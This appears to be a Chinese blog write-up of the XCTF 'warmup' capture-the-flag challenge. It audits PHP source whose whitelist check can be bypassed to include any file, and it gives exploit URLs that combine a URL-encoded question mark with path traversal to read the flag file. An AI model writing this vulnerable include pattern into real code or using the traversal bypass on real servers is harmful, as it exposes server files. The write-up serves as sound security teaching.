zoukankan      html  css  js  c++  java
  • XCTF:warmup(文件包含)

    XCTF题目:warmup

    首先F12发现有一个source.php文件,访问以后进行代码审计:

     <?php
        highlight_file(__FILE__);//代码高亮
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {  //isset():检查参数是否被设置且不能为NULL
                    echo "you can't see it";               
                    return false;
                }
    
                if (in_array($page, $whitelist)) {//在$page中是否有白名单列表的值
                    return true;
                }
    
                $_page = mb_substr(//字符串截断
                    $page,
                    0,
                    mb_strpos($page . '?', '?')//mb_strpos():查找String(参数2)在String(参数1)首次出现的位置。return:有的话返回int|没有返回false。
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    
                $_page = urldecode($page);//url解码
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {//传递的file不能为空,只能为字符串,且满足checkFile函数
            include $_REQUEST['file'];//文件包含
            exit;
        } else {
            echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
        }  
    ?> 

    随意输入参数一个得到

    通过代码审计得到想要执行文件包含的话要绕过in_array()函数

    这里从url解码函数入手:代码中通过mb_substr()  是去过滤问号,那么我们采用url编码去输入问号构造:

    http://220.249.52.133:42931/source.php?file=source.php%3F/../ffffllllaaaagggg

    查找发现没有flag文件,尝试其他目录后发现flag

    http://220.249.52.133:42931/source.php?file=source.php%3F../../../../../ffffllllaaaagggg
     
  • 相关阅读:
    hello world
    first demo
    Mac出现Operation not permitted
    java 获取一个数字中,各个数字出现的次数
    java 判断回文数字
    202001031
    20200103
    华为手机的系列
    java 反向打印一个数字
    java 生成两个数之间的素数
  • 原文地址:https://www.cnblogs.com/luocodes/p/13824980.html
Copyright © 2011-2022 走看看